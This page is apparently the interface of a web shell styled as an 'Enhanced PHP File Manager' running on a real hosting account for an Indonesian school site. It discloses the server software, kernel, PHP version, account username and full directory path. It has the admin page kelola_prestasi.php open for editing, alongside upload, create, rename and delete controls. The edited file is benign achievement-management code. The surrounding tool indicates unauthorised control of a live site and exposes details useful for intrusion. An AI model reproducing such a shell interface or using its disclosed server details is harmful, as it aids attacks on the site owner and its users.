Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.26.1.el9_7.x86_64

PHP Version:

8.4.15

User:

u892747680

Directory:

/home/u892747680/domains/sisteminformasic.com/public_html/misnuruljadidmliwang/admin

Free Space:

9.88 TB

🔧 Quick Actions

✏️ Editing: kelola_prestasi.php

<?php
$page_title = "Kelola Prestasi";
include 'partials/header.php';
require_once '../includes/koneksi.php';

// Handle delete action
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['id'])) {
    $id = intval($_GET['id']);
    
    // Get image filename before delete
    $stmt = $conn->prepare("SELECT gambar FROM prestasi WHERE id = ?");
    if ($stmt === false) {
        die('Prepare failed: ' . $conn->error);
    }
    
    $stmt->bind_param("i", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    $prestasi = $result->fetch_assoc();
    
    // Delete from database
    $stmt = $conn->prepare("DELETE FROM prestasi WHERE id = ?");
    if ($stmt === false) {
        die('Prepare failed: ' . $conn->error);
    }
    
    $stmt->bind_param("i", $id);
    
    if ($stmt->execute()) {
        // Delete image file if exists
        if ($prestasi && $prestasi['gambar'] && file_exists('../uploads/prestasi/' . $prestasi['gambar'])) {
            unlink('../uploads/prestasi/' . $prestasi['gambar']);
        }
        $success_message = "Prestasi berhasil dihapus!";
    } else {
        $error_message = "Gagal menghapus prestasi!";
    }
}

// Pagination
$limit = 10;
$page = isset($_GET['page']) ? intval($_GET['page']) : 1;
$offset = ($page - 1) * $limit;

// Search and Filter functionality
$search = isset($_GET['search']) ? trim($_GET['search']) : '';
$tingkat_filter = isset($_GET['tingkat']) ? trim($_GET['tingkat']) : '';
$peringkat_filter = isset($_GET['peringkat']) ? trim($_GET['peringkat']) : '';

$where_conditions = [];
$params = [];
$types = '';

if ($search) {
    $where_conditions[] = "(nama_siswa LIKE ? OR jenis_prestasi LIKE ? OR deskripsi LIKE ?)";
    $search_param = "%$search%";
    $params = array_merge($params, [$search_param, $search_param, $search_param]);
    $types .= 'sss';
}

if ($tingkat_filter) {
    $where_conditions[] = "tingkat = ?";
    $params[] = $tingkat_filter;
    $types .= 's';
}

if ($peringkat_filter) {
    $where_conditions[] = "peringkat = ?";
    $params[] = $peringkat_filter;
    $types .= 's';
}

$where_clause = '';
if (!empty($where_conditions)) {
    $where_clause = "WHERE " . implode(' AND ', $where_conditions);
}

// Get total records
$count_query = "SELECT COUNT(*) as total FROM prestasi $where_clause";
$stmt = $conn->prepare($count_query);
if ($stmt === false) {
    die('Prepare failed: ' . $conn->error);
}

if ($params) {
    $stmt->bind_param($types, ...$params);
}
$stmt->execute();
$total_records = $stmt->get_result()->fetch_assoc()['total'];
$total_pages = ceil($total_records / $limit);

// Get prestasi data - Updated query to match database structure
$query = "SELECT id, nama_siswa, kelas, jenis_prestasi, tingkat, peringkat, tahun, gambar, deskripsi, created_at 
          FROM prestasi $where_clause 
          ORDER BY created_at DESC 
          LIMIT ? OFFSET ?";

$stmt = $conn->prepare($query);
if ($stmt === false) {
    die('Prepare failed: ' . $conn->error);
}

if ($params) {
    $params[] = $limit;
    $params[] = $offset;
    $types .= 'ii';
    $stmt->bind_param($types, ...$params);
} else {
    $stmt->bind_param('ii', $limit, $offset);
}

$stmt->execute();
$prestasi_data = $stmt->get_result();

// Get filter options
$tingkat_options = ['Sekolah', 'Kecamatan', 'Kabupaten', 'Provinsi', 'Nasional', 'Internasional'];
$peringkat_options = ['Juara 1', 'Juara 2', 'Juara 3', 'Harapan 1', 'Harapan 2', 'Harapan 3', 'Finalis', 'Peserta'];
?>

<div class="container-fluid">
        <div class="row">
            <?php include 'partials/sidebar.php'; ?>
        
        <main class="col-lg-10 col-md-9 ms-sm-auto px-md-4 content-wrapper">
            <?php include 'partials/navbar.php'; ?>
            
            <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
                <h1 class="h2">
                    <i class="fas fa-trophy text-success"></i>
                    Kelola Prestasi
                </h1>
                <div class="btn-toolbar mb-2 mb-md-0">
                    <a href="prestasi_add.php" class="btn btn-success">
                        <i class="fas fa-plus"></i>
                        Tambah Prestasi
                    </a>
                </div>
            </div>

<?php if (isset($success_message)): ?>
                <div class="alert alert-success alert-dismissible fade show" role="alert">
                    <i class="fas fa-check-circle"></i>
                    <?php echo $success_message; ?>
                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                </div>
            <?php endif; ?>

<?php if (isset($error_message)): ?>
                <div class="alert alert-danger alert-dismissible fade show" role="alert">
                    <i class="fas fa-exclamation-circle"></i>
                    <?php echo $error_message; ?>
                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                </div>
            <?php endif; ?>

<div class="card shadow mb-4">
                <div class="card-body">
                    <form method="GET" class="row g-3 align-items-end">
                        <div class="col-md-4">
                            <label for="search" class="form-label">Cari Prestasi</label>
                            <input type="text" class="form-control" id="search" name="search" 
                                   placeholder="Nama siswa, jenis prestasi..." 
                                   value="<?php echo htmlspecialchars($search); ?>">
                        </div>
                        <div class="col-md-3">
                            <label for="tingkat" class="form-label">Tingkat</label>
                            <select class="form-select" id="tingkat" name="tingkat">
                                <option value="">Semua Tingkat</option>
                                <?php foreach ($tingkat_options as $tingkat): ?>
                                    <option value="<?php echo $tingkat; ?>" 
                                            <?php echo ($tingkat_filter == $tingkat) ? 'selected' : ''; ?>>
                                        <?php echo $tingkat; ?>
                                    </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <div class="col-md-3">
                            <label for="peringkat" class="form-label">Peringkat</label>
                            <select class="form-select" id="peringkat" name="peringkat">
                                <option value="">Semua Peringkat</option>
                                <?php foreach ($peringkat_options as $peringkat): ?>
                                    <option value="<?php echo $peringkat; ?>" 
                                            <?php echo ($peringkat_filter == $peringkat) ? 'selected' : ''; ?>>
                                        <?php echo $peringkat; ?>
                                    </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <div class="col-md-2">
                            <button type="submit" class="btn btn-primary w-100 mb-2">
                                <i class="fas fa-search"></i>
                                Cari
                            </button>
                            <a href="kelola_prestasi.php" class="btn btn-secondary w-100">
                                <i class="fas fa-refresh"></i>
                                Reset
                            </a>
                        </div>
                    </form>
                </div>
            </div>

<div class="row mb-4">
                <?php
                // Get quick stats with error handling
                $stats_query = "SELECT 
                    COUNT(*) as total,
                    SUM(CASE WHEN peringkat IN ('Juara 1', 'Juara 2', 'Juara 3') THEN 1 ELSE 0 END) as juara,
                    SUM(CASE WHEN tingkat = 'Nasional' THEN 1 ELSE 0 END) as nasional,
                    SUM(CASE WHEN tingkat = 'Internasional' THEN 1 ELSE 0 END) as internasional
                    FROM prestasi";
                $stats_result = $conn->query($stats_query);
                
                if ($stats_result === false) {
                    die('Query failed: ' . $conn->error);
                }
                
                $stats = $stats_result->fetch_assoc();
                ?>
                
                <div class="col-md-3 mb-3">
                    <div class="card border-left-success shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-success text-uppercase mb-1">
                                        Total Prestasi
                                    </div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php echo $stats['total']; ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-trophy fa-2x text-success"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<div class="col-md-3 mb-3">
                    <div class="card border-left-warning shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-warning text-uppercase mb-1">
                                        Prestasi Juara
                                    </div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php echo $stats['juara']; ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-medal fa-2x text-warning"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<div class="col-md-3 mb-3">
                    <div class="card border-left-info shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-info text-uppercase mb-1">
                                        Tingkat Nasional
                                    </div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php echo $stats['nasional']; ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-flag fa-2x text-info"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<div class="col-md-3 mb-3">
                    <div class="card border-left-primary shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">
                                        Internasional
                                    </div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php echo $stats['internasional']; ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-globe fa-2x text-primary"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

<div class="card shadow mb-4">
                <div class="card-header py-3">
                    <h6 class="m-0 font-weight-bold text-success">
                        <i class="fas fa-list"></i>
                        Daftar Prestasi
                        <small class="text-muted">(<?php echo $total_records; ?> total)</small>
                    </h6>
                </div>
                <div class="card-body">
                    <?php if ($prestasi_data->num_rows > 0): ?>
                        <div class="table-responsive">
                            <table class="table table-hover">
                                <thead class="table-light">
                                    <tr>
                                        <th width="5%">No</th>
                                        <th width="10%">Foto</th>
                                        <th width="15%">Nama Siswa</th>
                                        <th width="10%">Kelas</th>
                                        <th width="20%">Jenis Prestasi</th>
                                        <th width="10%">Tingkat</th>
                                        <th width="10%">Peringkat</th>
                                        <th width="10%">Tahun</th>
                                        <th width="10%">Aksi</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php 
                                    $no = $offset + 1;
                                    while ($prestasi = $prestasi_data->fetch_assoc()): 
                                    ?>
                                        <tr>
                                            <td><?php echo $no++; ?></td>
                                            <td>
                                                <?php if ($prestasi['gambar']): ?>
                                                    <img src="../uploads/prestasi/<?php echo htmlspecialchars($prestasi['gambar']); ?>" 
                                                         alt="<?php echo htmlspecialchars($prestasi['nama_siswa']); ?>"
                                                         class="img-thumbnail" style="width: 60px; height: 60px; object-fit: cover;">
                                                <?php else: ?>
                                                    <div class="bg-light text-center p-2" style="width: 60px; height: 60px;">
                                                        <i class="fas fa-user text-muted"></i>
                                                    </div>
                                                <?php endif; ?>
                                            </td>
                                            <td>
                                                <strong><?php echo htmlspecialchars($prestasi['nama_siswa']); ?></strong>
                                            </td>
                                            <td>
                                                <span class="badge bg-info"><?php echo htmlspecialchars($prestasi['kelas']); ?></span>
                                            </td>
                                            <td>
                                                <?php echo htmlspecialchars($prestasi['jenis_prestasi']); ?>
                                                <?php if ($prestasi['deskripsi']): ?>
                                                    <br><small class="text-muted"><?php echo htmlspecialchars(substr($prestasi['deskripsi'], 0, 50)) . '...'; ?></small>
                                                <?php endif; ?>
                                            </td>
                                            <td>
                                                <?php
                                                $tingkat_class = '';
                                                switch($prestasi['tingkat']) {
                                                    case 'Internasional': $tingkat_class = 'bg-primary'; break;
                                                    case 'Nasional': $tingkat_class = 'bg-info'; break;
                                                    case 'Provinsi': $tingkat_class = 'bg-success'; break;
                                                    case 'Kabupaten': $tingkat_class = 'bg-warning'; break;
                                                    default: $tingkat_class = 'bg-secondary';
                                                }
                                                ?>
                                                <span class="badge <?php echo $tingkat_class; ?>">
                                                    <?php echo htmlspecialchars($prestasi['tingkat']); ?>
                                                </span>
                                            </td>
                                            <td>
                                                <?php
                                                $peringkat_class = '';
                                                if (strpos($prestasi['peringkat'], 'Juara') !== false) {
                                                    $peringkat_class = 'bg-warning text-dark';
                                                } elseif (strpos($prestasi['peringkat'], 'Harapan') !== false) {
                                                    $peringkat_class = 'bg-success';
                                                } else {
                                                    $peringkat_class = 'bg-secondary';
                                                }
                                                ?>
                                                <span class="badge <?php echo $peringkat_class; ?>">
                                                    <?php echo htmlspecialchars($prestasi['peringkat']); ?>
                                                </span>
                                            </td>
                                            <td>
                                                <small><?php echo $prestasi['tahun']; ?></small>
                                            </td>
                                            <td>
                                                <div class="btn-group" role="group">
                                                    <a href="prestasi_edit.php?id=<?php echo $prestasi['id']; ?>" 
                                                       class="btn btn-sm btn-outline-success" title="Edit">
                                                        <i class="fas fa-edit"></i>
                                                    </a>
                                                    <a href="prestasi_view.php?id=<?php echo $prestasi['id']; ?>" 
                                                       class="btn btn-sm btn-outline-info" title="Lihat">
                                                        <i class="fas fa-eye"></i>
                                                    </a>
                                                    <button type="button" 
                                                            class="btn btn-sm btn-outline-danger" 
                                                            onclick="confirmDelete(<?php echo $prestasi['id']; ?>, '<?php echo htmlspecialchars($prestasi['nama_siswa']); ?> - <?php echo htmlspecialchars($prestasi['jenis_prestasi']); ?>')"
                                                            title="Hapus">
                                                        <i class="fas fa-trash"></i>
                                                    </button>
                                                </div>
                                            </td>
                                        </tr>
                                    <?php endwhile; ?>
                                </tbody>
                            </table>
                        </div>

<?php if ($total_pages > 1): ?>
                            <nav aria-label="Page navigation">
                                <ul class="pagination justify-content-center">
                                    <?php if ($page > 1): ?>
                                        <li class="page-item">
                                            <a class="page-link" href="?page=<?php echo ($page-1); ?><?php 
                                                echo $search ? '&search='.urlencode($search) : '';
                                                echo $tingkat_filter ? '&tingkat='.urlencode($tingkat_filter) : '';
                                                echo $peringkat_filter ? '&peringkat='.urlencode($peringkat_filter) : '';
                                            ?>">
                                                <i class="fas fa-chevron-left"></i>
                                            </a>
                                        </li>
                                    <?php endif; ?>

<?php for ($i = max(1, $page - 2); $i <= min($total_pages, $page + 2); $i++): ?>
                                        <li class="page-item <?php echo ($i == $page) ? 'active' : ''; ?>">
                                            <a class="page-link" href="?page=<?php echo $i; ?><?php 
                                                echo $search ? '&search='.urlencode($search) : '';
                                                echo $tingkat_filter ? '&tingkat='.urlencode($tingkat_filter) : '';
                                                echo $peringkat_filter ? '&peringkat='.urlencode($peringkat_filter) : '';
                                            ?>">
                                                <?php echo $i; ?>
                                            </a>
                                        </li>
                                    <?php endfor; ?>

<?php if ($page < $total_pages): ?>
                                        <li class="page-item">
                                            <a class="page-link" href="?page=<?php echo ($page+1); ?><?php 
                                                echo $search ? '&search='.urlencode($search) : '';
                                                echo $tingkat_filter ? '&tingkat='.urlencode($tingkat_filter) : '';
                                                echo $peringkat_filter ? '&peringkat='.urlencode($peringkat_filter) : '';
                                            ?>">
                                                <i class="fas fa-chevron-right"></i>
                                            </a>
                                        </li>
                                    <?php endif; ?>
                                </ul>
                            </nav>
                        <?php endif; ?>

<?php else: ?>
                        <div class="text-center py-5">
                            <i class="fas fa-trophy fa-4x text-muted mb-3"></i>
                            <h5 class="text-muted">Tidak ada prestasi ditemukan</h5>
                            <p class="text-muted">
                                <?php if ($search || $tingkat_filter || $peringkat_filter): ?>
                                    Tidak ada hasil untuk filter yang dipilih
                                <?php else: ?>
                                    Belum ada prestasi yang dicatat
                                <?php endif; ?>
                            </p>
                            <a href="prestasi_add.php" class="btn btn-success">
                                <i class="fas fa-plus"></i>
                                Tambah Prestasi Pertama
                            </a>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </main>
    </div>
</div>

<div class="modal fade" id="deleteModal" tabindex="-1" aria-labelledby="deleteModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="deleteModalLabel">
                    <i class="fas fa-exclamation-triangle text-danger"></i>
                    Konfirmasi Hapus
                </h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p>Apakah Anda yakin ingin menghapus prestasi ini?</p>
                <p><strong id="deleteItemName"></strong></p>
                <p class="text-muted small">Tindakan ini tidak dapat dibatalkan!</p>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">
                    <i class="fas fa-times"></i>
                    Batal
                </button>
                <a href="#" id="deleteConfirmBtn" class="btn btn-danger">
                    <i class="fas fa-trash"></i>
                    Ya, Hapus
                </a>
            </div>
        </div>
    </div>
</div>

// Auto hide alerts after 5 seconds
setTimeout(function() {
    const alerts = document.querySelectorAll('.alert');
    alerts.forEach(function(alert) {
        const bsAlert = new bootstrap.Alert(alert);
        bsAlert.close();
    });
}, 5000);
</script>

.text-xs {
    font-size: 0.7rem;
}

.font-weight-bold {
    font-weight: 700 !important;
}

.text-gray-800 {
    color: #5a5c69 !important;
}

.table th {
    border-top: none;
    font-weight: 600;
    text-transform: uppercase;
    font-size: 0.85rem;
    letter-spacing: 0.5px;
}

.table-hover tbody tr:hover {
    background-color: rgba(0, 123, 255, 0.05);
}

.btn-group .btn {
    border-radius: 0.25rem;
    margin-right: 2px;
}

.btn-group .btn:last-child {
    margin-right: 0;
}

.img-thumbnail {
    border: 1px solid #dee2e6;
}

.pagination .page-link {
    color: #1cc88a;
    border: 1px solid #dee2e6;
}

.pagination .page-item.active .page-link {
    background-color: #1cc88a;
    border-color: #1cc88a;
}

.pagination .page-link:hover {
    color: #17a673;
    background-color: #e9ecef;
    border-color: #dee2e6;
}

.card {
    transition: all 0.3s;
}

.card:hover {
    box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15) !important;
}

.badge {
    font-size: 0.75rem;
}
</style>

<?php include 'partials/footer.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: kelola_prestasi.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation